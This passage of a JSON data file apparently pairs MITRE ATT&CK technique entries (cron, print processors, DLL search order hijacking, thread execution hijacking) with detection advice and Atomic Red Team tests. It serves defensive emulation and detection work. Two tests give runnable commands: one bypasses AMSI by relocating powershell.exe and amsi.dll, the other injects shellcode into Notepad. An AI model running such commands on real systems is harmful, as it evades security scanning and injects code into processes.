"marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2acf44aa-542f-4366-b4eb-55ef5747759c", - "type": "attack-pattern", - "created": "2019-12-03T14:25:00.538Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053.003", - "url": "https://attack.mitre.org/techniques/T1053/003" - }, - { - "source_name": "20 macOS Common Tools and Techniques", - "url": "https://labs.sentinelone.com/20-common-tools-techniques-used-by-macos-threat-actors-malware/", - "description": "Phil Stokes. (2021, February 16). 20 Common Tools & Techniques Used by macOS Threat Actors & Malware. Retrieved August 23, 2021." - } - ], - "modified": "2022-03-24T17:33:03.443Z", - "name": "Scheduled Task/Job: Cron", - "description": "Adversaries may abuse the cron utility to perform task scheduling for initial or recurring execution of malicious code.(Citation: 20 macOS Common Tools and Techniques) The cron utility is a time-based job scheduler for Unix-like operating systems. The crontab file contains the schedule of cron entries to be run and the specified times for execution. Any crontab files are stored in operating system-specific file paths.\n\nAn adversary may use cron in Linux or Unix environments to execute programs at system startup or on a scheduled basis for [Persistence](https://attack.mitre.org/tactics/TA0003). ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Command: Command Execution", - "Scheduled Job: Scheduled Job Creation", - "File: File Modification", - "Process: Process Creation" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1053.003" - }, - "atomic_tests": [] - }, - "T1165": { - "technique": { - "x_mitre_platforms": [ - "macOS" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2ba5aa71-9d15-4b22-b726-56af06d9ad2f", - "type": "attack-pattern", - "created": "2017-12-14T16:46:06.044Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1165", - "url": "https://attack.mitre.org/techniques/T1165" - }, - { - "url": "https://developer.apple.com/library/content/documentation/MacOSX/Conceptual/BPSystemStartup/Chapters/StartupItems.html", - "description": "Apple. (2016, September 13). Startup Items. Retrieved July 11, 2017.", - "source_name": "Startup Items" - }, - { - "url": "https://www.virusbulletin.com/uploads/pdf/conference/vb2014/VB2014-Wardle.pdf", - "description": "Patrick Wardle. (2014, September). Methods of Malware Persistence on Mac OS X. Retrieved July 5, 2017.", - "source_name": "Methods of Mac Malware Persistence" - } - ], - "modified": "2020-01-15T18:02:49.891Z", - "name": "Startup Items", - "description": "Per Apple\u2019s documentation, startup items execute during the final phase of the boot process and contain shell scripts or other executable files along with configuration information used by the system to determine the execution order for all startup items (Citation: Startup Items). This is technically a deprecated version (superseded by Launch Daemons), and thus the appropriate folder, /Library/StartupItems isn\u2019t guaranteed to exist on the system by default, but does appear to exist by default on macOS Sierra. A startup item is a directory whose executable and configuration property list (plist), StartupParameters.plist, reside in the top-level directory. \n\nAn adversary can create the appropriate folders/files in the StartupItems directory to register their own persistence mechanism (Citation: Methods of Mac Malware Persistence). Additionally, since StartupItems run during the bootup phase of macOS, they will run as root. If an adversary is able to modify an existing Startup Item, then they will be able to Privilege Escalate as well.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "The /Library/StartupItems folder can be monitored for changes. Similarly, the programs that are actually executed from this mechanism should be checked against a whitelist. Monitor processes that are executed during the bootup process to check for unusual or unknown applications and behavior.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_effective_permissions": [ - "root" - ] - }, - "atomic_tests": [] - }, - "T1547.012": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Mathieu Tartare, ESET" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2de47683-f398-448f-b947-9abcc3e32fad", - "type": "attack-pattern", - "created": "2020-10-05T13:24:49.780Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1547.012", - "url": "https://attack.mitre.org/techniques/T1547/012" - }, - { - "source_name": "Microsoft AddPrintProcessor May 2018", - "url": "https://docs.microsoft.com/en-us/windows/win32/printdocs/addprintprocessor", - "description": "Microsoft. (2018, May 31). AddPrintProcessor function. Retrieved October 5, 2020." - }, - { - "source_name": "ESET PipeMon May 2020", - "url": "https://www.welivesecurity.com/2020/05/21/no-game-over-winnti-group/", - "description": "Tartare, M. et al. (2020, May 21). No \u201cGame over\u201d for the Winnti Group. Retrieved August 24, 2020." - } - ], - "modified": "2020-10-09T16:05:36.344Z", - "name": "Print Processors", - "description": "Adversaries may abuse print processors to run malicious DLLs during system boot for persistence and/or privilege escalation. Print processors are DLLs that are loaded by the print spooler service, spoolsv.exe, during boot. \n\nAdversaries may abuse the print spooler service by adding print processors that load malicious DLLs at startup. A print processor can be installed through the AddPrintProcessor API call with an account that has SeLoadDriverPrivilege enabled. Alternatively, a print processor can be registered to the print spooler service by adding the HKLM\\SYSTEM\\\\[CurrentControlSet or ControlSet001]\\Control\\Print\\Environments\\\\[Windows architecture: e.g., Windows x64]\\Print Processors\\\\[user defined]\\Driver Registry key that points to the DLL. For the print processor to be correctly installed, it must be located in the system print-processor directory that can be found with the GetPrintProcessorDirectory API call.(Citation: Microsoft AddPrintProcessor May 2018) After the print processors are installed, the print spooler service, which starts during boot, must be restarted in order for them to run.(Citation: ESET PipeMon May 2020) The print spooler service runs under SYSTEM level permissions, therefore print processors installed by an adversary may run under elevated privileges.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor process API calls to AddPrintProcessor and GetPrintProcessorDirectory. New print processor DLLs are written to the print processor directory. Also monitor Registry writes to HKLM\\SYSTEM\\ControlSet001\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\\\Driver or HKLM\\SYSTEM\\CurrentControlSet\\Control\\Print\\Environments\\\\[Windows architecture]\\Print Processors\\\\[user defined]\\Driver as they pertain to print processor installations.\n\nMonitor for abnormal DLLs that are loaded by spoolsv.exe. Print processors that do not correlate with known good software or patching may be suspicious.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Driver: Driver Load", - "Process: OS API Execution", - "Windows Registry: Windows Registry Key Modification", - "Module: Module Load", - "File: File Creation" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1574.001": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Travis Smith, Tripwire", - "Stefan Kanthak" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--2fee9321-3e71-4cf4-af24-d4d40d355b34", - "type": "attack-pattern", - "created": "2020-03-13T18:11:08.357Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1574.001", - "url": "https://attack.mitre.org/techniques/T1574/001" - }, - { - "external_id": "CAPEC-471", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/471.html" - }, - { - "source_name": "Microsoft Dynamic Link Library Search Order", - "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-search-order?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Dynamic-Link Library Search Order. Retrieved November 30, 2014." - }, - { - "source_name": "FireEye Hijacking July 2010", - "url": "https://www.fireeye.com/blog/threat-research/2010/07/malware-persistence-windows-registry.html", - "description": "Harbour, N. (2010, July 15). Malware Persistence without the Windows Registry. Retrieved November 17, 2020." - }, - { - "source_name": "OWASP Binary Planting", - "description": "OWASP. (2013, January 30). Binary planting. Retrieved June 7, 2016.", - "url": "https://www.owasp.org/index.php/Binary_planting" - }, - { - "source_name": "FireEye fxsst June 2011", - "url": "https://www.fireeye.com/blog/threat-research/2011/06/fxsst.html", - "description": "Harbour, N. (2011, June 3). What the fxsst?. Retrieved November 17, 2020." - }, - { - "source_name": "Microsoft Security Advisory 2269637", - "url": "https://docs.microsoft.com/en-us/security-updates/securityadvisories/2010/2269637", - "description": "Microsoft. (, May 23). Microsoft Security Advisory 2269637. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Dynamic-Link Library Redirection", - "url": "https://docs.microsoft.com/en-us/windows/win32/dlls/dynamic-link-library-redirection?redirectedfrom=MSDN", - "description": "Microsoft. (2018, May 31). Dynamic-Link Library Redirection. Retrieved March 13, 2020." - }, - { - "source_name": "Microsoft Manifests", - "description": "Microsoft. (n.d.). Manifests. Retrieved December 5, 2014.", - "url": "https://msdn.microsoft.com/en-US/library/aa375365" - }, - { - "source_name": "FireEye DLL Search Order Hijacking", - "url": "https://www.fireeye.com/blog/threat-research/2010/08/dll-search-order-hijacking-revisited.html", - "description": "Nick Harbour. (2010, September 1). DLL Search Order Hijacking Revisited. Retrieved March 13, 2020." - } - ], - "modified": "2021-04-26T18:37:03.748Z", - "name": "Hijack Execution Flow: DLL Search Order Hijacking", - "description": "Adversaries may execute their own malicious payloads by hijacking the search order used to load DLLs. Windows systems use a common method to look for required DLLs to load into a program. (Citation: Microsoft Dynamic Link Library Search Order)(Citation: FireEye Hijacking July 2010) Hijacking DLL loads may be for the purpose of establishing persistence as well as elevating privileges and/or evading restrictions on file execution.\n\nThere are many ways an adversary can hijack DLL loads. Adversaries may plant trojan dynamic-link library files (DLLs) in a directory that will be searched before the location of a legitimate library that will be requested by a program, causing Windows to load their malicious library when it is called for by the victim program. Adversaries may also perform DLL preloading, also called binary planting attacks, (Citation: OWASP Binary Planting) by placing a malicious DLL with the same name as an ambiguously specified DLL in a location that Windows searches before the legitimate DLL. Often this location is the current working directory of the program.(Citation: FireEye fxsst June 2011) Remote DLL preloading attacks occur when a program sets its current directory to a remote location such as a Web share before loading a DLL. (Citation: Microsoft Security Advisory 2269637)\n\nAdversaries may also directly modify the search order via DLL redirection, which after being enabled (in the Registry and creation of a redirection file) may cause a program to load a different DLL.(Citation: Microsoft Dynamic-Link Library Redirection)(Citation: Microsoft Manifests)(Citation: FireEye DLL Search Order Hijacking)\n\nIf a search order-vulnerable program is configured to run at a higher privilege level, then the adversary-controlled DLL that is loaded will also be executed at the higher level. In this case, the technique could be used for privilege escalation from user to administrator or SYSTEM or from administrator to SYSTEM, depending on the program. Programs that fall victim to path hijacking may appear to behave normally because malicious DLLs may be configured to also load the legitimate DLLs they were meant to replace.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - } - ], - "x_mitre_detection": "Monitor file systems for moving, renaming, replacing, or modifying DLLs. Changes in the set of DLLs that are loaded by a process (compared with past behavior) that do not correlate with known software, patches, etc., are suspicious. Monitor DLLs loaded into a process and detect DLLs that have the same file name but abnormal paths. Modifications to or creation of `.manifest` and `.local` redirection files that do not correlate with software updates are suspicious.", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Module: Module Load", - "File: File Creation", - "File: File Modification" - ], - "identifier": "T1574.001" - }, - "atomic_tests": [ - { - "name": "DLL Search Order Hijacking - amsi.dll", - "auto_generated_guid": "8549ad4b-b5df-4a2d-a3d7-2aee9e7052a3", - "description": "Adversaries can take advantage of insecure library loading by PowerShell to load a vulnerable version of amsi.dll in order to bypass AMSI (Anti-Malware Scanning Interface)\nhttps://enigma0x3.net/2017/07/19/bypassing-amsi-via-com-server-hijacking/\n\nUpon successful execution, powershell.exe will be copied and renamed to updater.exe and load amsi.dll from a non-standard path.\n", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "copy %windir%\\System32\\windowspowershell\\v1.0\\powershell.exe %APPDATA%\\updater.exe\ncopy %windir%\\System32\\amsi.dll %APPDATA%\\amsi.dll\n%APPDATA%\\updater.exe -Command exit\n", - "cleanup_command": "del %APPDATA%\\updater.exe >nul 2>&1\ndel %APPDATA%\\amsi.dll >nul 2>&1\n", - "name": "command_prompt", - "elevation_required": true - } - } - ] - }, - "T1103": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--317fefa6-46c7-4062-adb6-2008cf6bcb41", - "type": "attack-pattern", - "created": "2017-05-31T21:31:15.409Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1103", - "url": "https://attack.mitre.org/techniques/T1103" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "url": "https://support.microsoft.com/en-us/kb/197571", - "description": "Microsoft. (2006, October). Working with the AppInit_DLLs registry value. Retrieved July 15, 2015.", - "source_name": "AppInit Registry" - }, - { - "url": "https://msdn.microsoft.com/en-us/library/dn280412", - "description": "Microsoft. (n.d.). AppInit DLLs and Secure Boot. Retrieved July 15, 2015.", - "source_name": "AppInit Secure Boot" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2020-11-10T18:29:30.379Z", - "name": "AppInit DLLs", - "description": "Dynamic-link libraries (DLLs) that are specified in the AppInit_DLLs value in the Registry keys HKEY_LOCAL_MACHINE\\Software\\Microsoft\\Windows NT\\CurrentVersion\\Windows or HKEY_LOCAL_MACHINE\\Software\\Wow6432Node\\Microsoft\\Windows NT\\CurrentVersion\\Windows are loaded by user32.dll into every process that loads user32.dll. In practice this is nearly every program, since user32.dll is a very common library. (Citation: Elastic Process Injection July 2017) Similar to [Process Injection](https://attack.mitre.org/techniques/T1055), these values can be abused to obtain persistence and privilege escalation by causing a malicious DLL to be loaded and run in the context of separate processes on the computer. (Citation: AppInit Registry)\n\nThe AppInit DLL functionality is disabled in Windows 8 and later versions when secure boot is enabled. (Citation: AppInit Secure Boot)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitor DLL loads by processes that load user32.dll and look for DLLs that are not recognized or not normally loaded into a process. Monitor the AppInit_DLLs Registry values for modifications that do not correlate with known software, patch cycles, etc. Monitor and analyze application programming interface (API) calls that are indicative of Registry edits such as RegCreateKeyEx and RegSetValueEx. (Citation: Elastic Process Injection July 2017) Tools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current AppInit DLLs. (Citation: TechNet Autoruns) \n\nLook for abnormal process behavior that may be due to a process loading a malicious DLL. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as making network connections for Command and Control, learning details about the environment through Discovery, and conducting Lateral Movement.", - "x_mitre_version": "1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator" - ], - "x_mitre_system_requirements": [ - "Secure boot disabled on systems running Windows 8 and later" - ], - "x_mitre_effective_permissions": [ - "Administrator", - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1053": { - "technique": { - "x_mitre_platforms": [ - "Windows", - "Linux", - "macOS", - "Containers" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Prashant Verma, Paladion", - "Leo Loobeek, @leoloobeek", - "Travis Smith, Tripwire", - "Alain Homewood, Insomnia Security", - "Andrew Northern, @ex_raritas", - "Bryan Campbell, @bry_campbell", - "Zachary Abzug, @ZackDoesML", - "Selena Larson, @selenalarson" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "type": "attack-pattern", - "id": "attack-pattern--35dd844a-b219-4e2b-a6bb-efa9a75995a9", - "created": "2017-05-31T21:30:46.977Z", - "x_mitre_version": "2.2", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1053", - "url": "https://attack.mitre.org/techniques/T1053" - }, - { - "source_name": "ProofPoint Serpent", - "url": "https://www.proofpoint.com/us/blog/threat-insight/serpent-no-swiping-new-backdoor-targets-french-entities-unique-attack-chain", - "description": "Campbell, B. et al. (2022, March 21). Serpent, No Swiping! New Backdoor Targets French Entities with Unique Attack Chain. Retrieved April 11, 2022." - }, - { - "source_name": "TechNet Task Scheduler Security", - "url": "https://technet.microsoft.com/en-us/library/cc785125.aspx", - "description": "Microsoft. (2005, January 21). Task Scheduler and security. Retrieved June 8, 2016." - }, - { - "url": "https://capec.mitre.org/data/definitions/557.html", - "source_name": "capec", - "external_id": "CAPEC-557" - } - ], - "x_mitre_deprecated": false, - "revoked": false, - "description": "Adversaries may abuse task scheduling functionality to facilitate initial or recurring execution of malicious code. Utilities exist within all major operating systems to schedule programs or scripts to be executed at a specified date and time. A task can also be scheduled on a remote system, provided the proper authentication is met (ex: RPC and file and printer sharing in Windows environments). Scheduling a task on a remote system typically may require being a member of an admin or otherwise privileged group on the remote system.(Citation: TechNet Task Scheduler Security)\n\nAdversaries may use task scheduling to execute programs at system startup or on a scheduled basis for persistence. These mechanisms can also be abused to run a process under the context of a specified account (such as one with elevated permissions/privileges). Similar to [System Binary Proxy Execution](https://attack.mitre.org/techniques/T1218), adversaries have also abused task scheduling to potentially mask one-time execution under a trusted system process.(Citation: ProofPoint Serpent)", - "modified": "2022-04-14T20:59:52.686Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "name": "Scheduled Task/Job", - "x_mitre_detection": "Monitor scheduled task creation from common utilities using command-line invocation. Legitimate scheduled tasks may be created during installation of new software or through system administration functions. Look for changes to tasks that do not correlate with known software, patch cycles, etc. \n\nSuspicious program execution through scheduled tasks may show up as outlier processes that have not been seen before when compared against historical data. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "execution" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_is_subtechnique": false, - "x_mitre_data_sources": [ - "Scheduled Job: Scheduled Job Creation", - "Command: Command Execution", - "Container: Container Creation", - "Process: Process Creation", - "File: File Creation", - "File: File Modification" - ], - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM", - "User" - ], - "x_mitre_effective_permissions": [ - "SYSTEM", - "Administrator", - "User" - ], - "x_mitre_remote_support": true, - "x_mitre_attack_spec_version": "2.1.0", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5" - }, - "atomic_tests": [] - }, - "T1058": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "x_mitre_contributors": [ - "Matthew Demaske, Adaptforward", - "Travis Smith, Tripwire" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--39a130e1-6ab7-434a-8bd2-418e7d9d6427", - "type": "attack-pattern", - "created": "2017-05-31T21:30:49.119Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "revoked": true, - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1058", - "url": "https://attack.mitre.org/techniques/T1058" - }, - { - "external_id": "CAPEC-478", - "source_name": "capec", - "url": "https://capec.mitre.org/data/definitions/478.html" - }, - { - "url": "https://msdn.microsoft.com/library/windows/desktop/ms724878.aspx", - "description": "Microsoft. (n.d.). Registry Key Security and Access Rights. Retrieved March 16, 2017.", - "source_name": "MSDN Registry Key Security" - }, - { - "source_name": "TrustedSignal Service Failure", - "url": "https://trustedsignal.blogspot.com/2014/05/kansa-service-related-collectors-and.html", - "description": "Hull, D. (2014, May 3). Kansa: Service related collectors and analysis. Retrieved October 10, 2019." - }, - { - "url": "https://twitter.com/r0wdy_/status/936365549553991680", - "description": "The Cyber (@r0wdy_). (2017, November 30). Service Recovery Parameters. Retrieved April 9, 2018.", - "source_name": "Twitter Service Recovery Nov 2017" - }, - { - "url": "https://technet.microsoft.com/en-us/sysinternals/bb963902", - "description": "Russinovich, M. (2016, January 4). Autoruns for Windows v13.51. Retrieved June 6, 2016.", - "source_name": "TechNet Autoruns" - } - ], - "modified": "2020-03-19T15:12:13.034Z", - "name": "Service Registry Permissions Weakness", - "description": "Windows stores local service configuration information in the Registry under HKLM\\SYSTEM\\CurrentControlSet\\Services. The information stored under a service's Registry keys can be manipulated to modify a service's execution parameters through tools such as the service controller, sc.exe, [PowerShell](https://attack.mitre.org/techniques/T1086), or [Reg](https://attack.mitre.org/software/S0075). Access to Registry keys is controlled through Access Control Lists and permissions. (Citation: MSDN Registry Key Security)\n\nIf the permissions for users and groups are not properly set and allow access to the Registry keys for a service, then adversaries can change the service binPath/ImagePath to point to a different executable under their control. When the service starts or is restarted, then the adversary-controlled program will execute, allowing the adversary to gain persistence and/or privilege escalation to the account context the service is set to execute under (local/domain account, SYSTEM, LocalService, or NetworkService).\n\nAdversaries may also alter Registry keys associated with service failure parameters (such as FailureCommand) that may be executed in an elevated context anytime the service fails or is intentionally corrupted.(Citation: TrustedSignal Service Failure)(Citation: Twitter Service Recovery Nov 2017)", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "persistence" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Service changes are reflected in the Registry. Modification to existing services should not occur frequently. If a service binary path or failure parameters are changed to values that are not typical for that service and does not correlate with software updates, then it may be due to malicious activity. Data and events should not be viewed in isolation, but as part of a chain of behavior that could lead to other activities, such as network connections made for Command and Control, learning details about the environment through Discovery, and Lateral Movement.\n\nTools such as Sysinternals Autoruns may also be used to detect system changes that could be attempts at persistence, including listing current service information. (Citation: TechNet Autoruns) Look for changes to services that do not correlate with known software, patch cycles, etc. Suspicious program execution through services may show up as outlier processes that have not been seen before when compared against historical data.\n\nMonitor processes and command-line arguments for actions that could be done to modify services. Remote access tools with built-in features may interact directly with the Windows API to perform these functions outside of typical system utilities. Services may also be changed through Windows system management tools such as [Windows Management Instrumentation](https://attack.mitre.org/techniques/T1047) and [PowerShell](https://attack.mitre.org/techniques/T1086), so additional logging may need to be configured to gather the appropriate data.", - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_permissions_required": [ - "Administrator", - "SYSTEM" - ], - "x_mitre_system_requirements": [ - "Ability to modify service values in the Registry" - ], - "x_mitre_effective_permissions": [ - "SYSTEM" - ] - }, - "atomic_tests": [] - }, - "T1055.003": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--41d9846c-f6af-4302-a654-24bba2729bc6", - "type": "attack-pattern", - "created": "2020-01-14T01:28:32.166Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1055.003", - "url": "https://attack.mitre.org/techniques/T1055/003" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - } - ], - "modified": "2021-10-18T12:22:50.800Z", - "name": "Thread Execution Hijacking", - "description": "Adversaries may inject malicious code into hijacked processes in order to evade process-based defenses as well as possibly elevate privileges. Thread Execution Hijacking is a method of executing arbitrary code in the address space of a separate live process. \n\nThread Execution Hijacking is commonly performed by suspending an existing process then unmapping/hollowing its memory, which can then be replaced with malicious code or the path to a DLL. A handle to an existing victim process is first created with native Windows API calls such as OpenThread. At this point the process can be suspended then written to, realigned to the injected code, and resumed via SuspendThread , VirtualAllocEx, WriteProcessMemory, SetThreadContext, then ResumeThread respectively.(Citation: Elastic Process Injection July 2017)\n\nThis is very similar to [Process Hollowing](https://attack.mitre.org/techniques/T1055/012) but targets an existing process rather than creating a process in a suspended state. \n\nRunning code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via Thread Execution Hijacking may also evade detection from security products since the execution is masked under a legitimate process. ", - "kill_chain_phases": [ - { - "kill_chain_name": "mitre-attack", - "phase_name": "defense-evasion" - }, - { - "kill_chain_name": "mitre-attack", - "phase_name": "privilege-escalation" - } - ], - "x_mitre_detection": "Monitoring Windows API calls indicative of the various types of code injection may generate a significant amount of data and may not be directly useful for defense unless collected under specific circumstances for known bad sequences of calls, since benign use of API functions may be common and difficult to distinguish from malicious behavior. Windows API calls such as CreateRemoteThread, SuspendThread/SetThreadContext/ResumeThread, and those that can be used to modify memory within another process, such as VirtualAllocEx/WriteProcessMemory, may be used for this technique.(Citation: Elastic Process Injection July 2017)\n\nAnalyze process behavior to determine if a process is performing actions it usually does not, such as opening network connections, reading files, or other suspicious actions that could relate to post-compromise behavior. ", - "x_mitre_is_subtechnique": true, - "x_mitre_version": "1.1", - "x_mitre_modified_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "x_mitre_data_sources": [ - "Process: OS API Execution", - "Process: Process Modification", - "Process: Process Access" - ], - "x_mitre_defense_bypassed": [ - "Application control", - "Anti-virus" - ], - "x_mitre_permissions_required": [ - "User" - ], - "identifier": "T1055.003" - }, - "atomic_tests": [ - { - "name": "Thread Execution Hijacking", - "auto_generated_guid": "578025d5-faa9-4f6d-8390-aae527d503e1", - "description": "This test injects a MessageBox shellcode generated by msfvenom in Notepad.exe using Thread Execution Hijacking. When successful, a message box will appear with the \"Atomic Red Team\" caption after one or two seconds. ", - "supported_platforms": [ - "windows" - ], - "executor": { - "command": "$notepad = Start-Process notepad -passthru\nStart-Process $PathToAtomicsFolder\\T1055.003\\bin\\InjectContext.exe", - "cleanup_command": "Stop-Process $notepad.pid", - "name": "powershell" - } - } - ] - }, - "T1546.011": { - "technique": { - "x_mitre_platforms": [ - "Windows" - ], - "x_mitre_domains": [ - "enterprise-attack" - ], - "object_marking_refs": [ - "marking-definition--fa42a846-8d90-4e51-bc29-71d5b4802168" - ], - "id": "attack-pattern--42fe883a-21ea-4cfb-b94a-78b6476dcc83", - "type": "attack-pattern", - "created": "2020-01-24T14:56:24.231Z", - "created_by_ref": "identity--c78cb6e5-0c4b-4611-8297-d1b8b55e40b5", - "external_references": [ - { - "source_name": "mitre-attack", - "external_id": "T1546.011", - "url": "https://attack.mitre.org/techniques/T1546/011" - }, - { - "url": "https://www.endgame.com/blog/technical-blog/ten-process-injection-techniques-technical-survey-common-and-trending-process", - "description": "Hosseini, A. (2017, July 18). Ten Process Injection Techniques: A Technical Survey Of Common And Trending Process Injection Techniques. Retrieved December 7, 2017.", - "source_name": "Elastic Process Injection July 2017" - }, - { - "source_name": "FireEye Application Shimming", - "url": "http://files.brucon.org/2015/Tomczak_and_Ballenthin_Shims_for_the_Win.pdf", - "description": "Ballenthin, W., Tomczak, J.. (2015). The Real Shim Shary. Retrieved May 4, 2020." - }, - { - "url": 